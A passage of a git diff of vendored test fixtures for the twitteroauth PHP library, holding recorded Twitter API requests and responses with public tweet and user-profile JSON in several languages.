2011\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":15136,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"ACDED6\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme18\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme18\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/750356464275890177\\\/wmVESyfU_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/750356464275890177\\\/wmVESyfU_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/267474806\\\/1467734084\",\"profile_link_color\":\"038543\",\"profile_sidebar_border_color\":\"EEEEEE\",\"profile_sidebar_fill_color\":\"F6F6F6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue May 03 11:45:07 +0000 2011\",\"id\":65381365901828096,\"id_str\":\"65381365901828096\",\"text\":\"@oauthlibtest \\ub098\\ub3c4test..\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":249113612,\"id_str\":\"249113612\",\"name\":\"GgongNa\",\"screen_name\":\"ggonna04\",\"location\":\"\\uc9c0\\uad6c.\\ud55c\\uad6d.\\uadf8\\uc5b4\\ub518\\uac00...\",\"description\":\"\\ud56d\\uc0c1..\\ub204\\uad70\\uac00\\uc5d0\\uac8c\\ub530\\ub73b\\ubbf8\\uc18c\\ub97c\\uc9c0\\uc744\\uc218\\uc788\\ub294...\\ub9d8\\ub113\\uc740\\uc774\",\"url\":\"http:\\\/\\\/t.co\\\/sI6dCHB2gr\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/sI6dCHB2gr\",\"expanded_url\":\"http:\\\/\\\/koreantweeters.com\\\/ggonna04\",\"display_url\":\"koreantweeters.com\\\/ggonna04\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":16,\"friends_count\":19,\"listed_count\":1,\"created_at\":\"Tue Feb 08 11:48:27 +0000 2011\",\"favourites_count\":2,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":227,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1384141054\\\/VfKWV12o_normal\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1384141054\\\/VfKWV12o_normal\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ko\"},{\"created_at\":\"Tue Mar 22 05:24:01 +0000 2011\",\"id\":50065170642370560,\"id_str\":\"50065170642370560\",\"text\":\"@oauthlibtest latest\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":267737297,\"id_str\":\"267737297\",\"name\":\"Developer Artworld\",\"screen_name\":\"dev786art\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2,\"friends_count\":1,\"listed_count\":0,\"created_at\":\"Thu Mar 17 13:05:59 +0000 2011\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":48,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Mar 22 05:23:49 +0000 2011\",\"id\":50065118918213632,\"id_str\":\"50065118918213632\",\"text\":\"@oauthlibtest : this is new retweet\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":267737297,\"id_str\":\"267737297\",\"name\":\"Developer Artworld\",\"screen_name\":\"dev786art\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2,\"friends_count\":1,\"listed_count\":0,\"created_at\":\"Thu Mar 17 13:05:59 +0000 2011\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":48,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Mar 20 15:24:28 +0000 2011\",\"id\":49491502925225985,\"id_str\":\"49491502925225985\",\"text\":\"Now tracking stats for @oauthlibtest at http:\\\/\\\/twittercounter.com\\\/oauthlibtest?t=t (52 followers)\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[23,36]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twittercounter.com\\\" rel=\\\"nofollow\\\"\\u003eThe Counter\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":39328213,\"id_str\":\"39328213\",\"name\":\"OurStatus\",\"screen_name\":\"OurStatus\",\"location\":\"TwitterWorld\",\"description\":\"We welcome EVERY new member here so following us might be annoying for you. :-)\",\"url\":\"http:\\\/\\\/t.co\\\/MJn4MTUuC0\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/MJn4MTUuC0\",\"expanded_url\":\"http:\\\/\\\/twittercounter.com\\\/\",\"display_url\":\"twittercounter.com\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2481,\"friends_count\":8,\"listed_count\":51,\"created_at\":\"Mon May 11 20:03:28 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":1190192,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"EDECE9\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1087614264\\\/twc_logo_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1087614264\\\/twc_logo_normal.png\",\"profile_link_color\":\"088253\",\"profile_sidebar_border_color\":\"D3D2CF\",\"profile_sidebar_fill_color\":\"E3E2DE\",\"profile_text_color\":\"634047\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Mar 08 16:54:24 +0000 2011\",\"id\":45165480461352960,\"id_str\":\"45165480461352960\",\"text\":\"@oauthlibtest http:\\\/\\\/www.facebook.com\\\/event.php?eid=147409505321037 invita i tuoi amici\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":9885752,\"id_str\":\"9885752\",\"name\":\"tor100\",\"screen_name\":\"tor100\",\"location\":\"italia\",\"description\":\"Cot vade a fe la 'n mes, piciu?\\r\\niononsonodisinistramaCOMUNISTA\",\"url\":\"http:\\\/\\\/t.co\\\/BXBfxnpxqN\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/BXBfxnpxqN\",\"expanded_url\":\"http:\\\/\\\/tor100.wordpress.com\\\/\",\"display_url\":\"tor100.wordpress.com\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":241,\"friends_count\":363,\"listed_count\":12,\"created_at\":\"Fri Nov 02 14:16:38 +0000 2007\",\"favourites_count\":20,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":13788,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"9AE4E8\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1224654764\\\/pat_normal.gif\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1224654764\\\/pat_normal.gif\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/9885752\\\/1398770471\",\"profile_link_color\":\"0000FF\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"E0FF92\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"it\"},{\"created_at\":\"Tue Mar 08 16:53:35 +0000 2011\",\"id\":45165273631817728,\"id_str\":\"45165273631817728\",\"text\":\"@oauthlibtest works\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":52199567,\"id_str\":\"52199567\",\"name\":\"miche fax\",\"screen_name\":\"MicheFax\",\"location\":\"Milano-Verona\",\"description\":\"Trying to improve the good energy inside and outside of me\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":168,\"friends_count\":329,\"listed_count\":4,\"created_at\":\"Mon Jun 29 21:42:18 +0000 2009\",\"favourites_count\":101,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":2619,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1291516151\\\/WeeMee_21507e3d6969f72f670be2f6f4645e9e_for_mi.fac_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1291516151\\\/WeeMee_21507e3d6969f72f670be2f6f4645e9e_for_mi.fac_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/52199567\\\/1453128465\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}]" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testLastResult.json b/vendor/abraham/twitteroauth/tests/fixtures/testLastResult.json index e6776c6588..6ca9d38b94 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testLastResult.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testLastResult.json @@ -1,46 +1,46 @@ -[{ - "request": { - "method": "GET", - "url": "https:\/\/api.twitter.com\/1.1\/search\/tweets.json?q=twitter", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"qWYQHV5qw8biySQjoR59V9%2BDvOQ%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "12973", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:24 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:24 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_j\/D8MbYgZO9NrZX0j4Doog==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114467858900; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "7dc369267b3c7dbeb719dcad15017787", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-rate-limit-limit": "180", - "x-rate-limit-remaining": "174", - "x-rate-limit-reset": "1587861623", - "x-response-time": "190", - "x-transaction": "00f1001400e3fb3b", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"statuses\":[{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657657257984,\"id_str\":\"1254206657657257984\",\"text\":\"RT @TheUntamedLati2: Ya perd\\u00ed la cuenta de cuantas veces he visto esa escena, ya se que va a pasar despu\\u00e9s..... y a\\u00fan as\\u00ed todav\\u00eda lloro con\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TheUntamedLati2\",\"name\":\"The Untamed Latinoam\\u00e9rica\",\"id\":1234358495631364096,\"id_str\":\"1234358495631364096\",\"indices\":[3,19]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":950450150211768320,\"id_str\":\"950450150211768320\",\"name\":\"\\u22b1\\u22b9\\u2133\\u2134\\ud835\\udcb8\\ud835\\udcbd\\ud835\\udcbe \\ud835\\udcc8\\ud835\\udcca\\ud835\\udcb8\\ud835\\udcc7\\ud835\\udcee\\u00b0\\u22b9\\u22b0\",\"screen_name\":\"Mochi_pxxrk\",\"location\":\"\",\"description\":\"\\u2022\\u2022 .\\u00b8\\u00b8.\\u2022\\u00b4\\u00af`\\u2022.\\u2022N\\u1d07\\u1d04\\u1d07s\\u026a\\u1d1b\\u1d0f \\u01eb\\u1d1c\\u1d07 \\u1d0d\\u1d07 \\u0274\\u1d07\\u1d04\\u1d07s\\u026a\\u1d1b\\u1d07s `\\u2022.\\u00b8\\u00b8.\\u2022\\u00b4\\u00b4\\u00af`\\u2022\\u2022\\n\\u06e9\\u25aa\\ufe0e\\ud835\\udc40\\ud835\\udc5c \\ud835\\udc51\\ud835\\udc4e\\ud835\\udc5c \\ud835\\udc67\\ud835\\udc62 \\ud835\\udc60\\u210e\\ud835\\udc56 \\ud835\\udc5a\\ud835\\udc52 \\ud835\\udc51\\ud835\\udc52\\ud835\\udc57\\u00f3 \\ud835\\udc60\\ud835\\udc52\\ud835\\udc5b\\ud835\\udc60\\ud835\\udc56\\ud835\\udc4f\\ud835\\udc59\\ud835\\udc52\\u25aa\\ufe0e\\u06e9\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":68,\"friends_count\":112,\"listed_count\":0,\"created_at\":\"Mon Jan 08 19:32:29 +0000 2018\",\"favourites_count\":32407,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":4806,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243366985817370626\\\/exDXU85Q_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243366985817370626\\\/exDXU85Q_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/950450150211768320\\\/1585967564\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 20:53:48 +0000 2020\",\"id\":1254151647485472770,\"id_str\":\"1254151647485472770\",\"text\":\"Ya perd\\u00ed la cuenta de cuantas veces he visto esa escena, ya se que va a pasar despu\\u00e9s..... y a\\u00fan as\\u00ed todav\\u00eda lloro\\u2026 https:\\\/\\\/t.co\\\/ypYYG5Gmgw\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ypYYG5Gmgw\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254151647485472770\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1234358495631364096,\"id_str\":\"1234358495631364096\",\"name\":\"The Untamed Latinoam\\u00e9rica\",\"screen_name\":\"TheUntamedLati2\",\"location\":\"\",\"description\":\"\\ud83d\\udc95Espacio dedicado a las fans de The Untamed\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1263,\"friends_count\":6,\"listed_count\":0,\"created_at\":\"Mon Mar 02 06:03:15 +0000 2020\",\"favourites_count\":1353,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":690,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253900779892740106\\\/C-F7iXpT_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253900779892740106\\\/C-F7iXpT_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1234358495631364096\\\/1583129151\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":11,\"favorite_count\":54,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"es\"},\"is_quote_status\":false,\"retweet_count\":11,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"es\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657497911297,\"id_str\":\"1254206657497911297\",\"text\":\"RT @muieresnanet: https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"muieresnanet\",\"name\":\"mulheres que passaram vergonha\",\"id\":1218213021010616320,\"id_str\":\"1218213021010616320\",\"indices\":[3,16]}],\"urls\":[],\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}},\"source_status_id\":1253829613031165961,\"source_status_id_str\":\"1253829613031165961\",\"source_user_id\":1218213021010616320,\"source_user_id_str\":\"1218213021010616320\"}]},\"extended_entities\":{\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"htt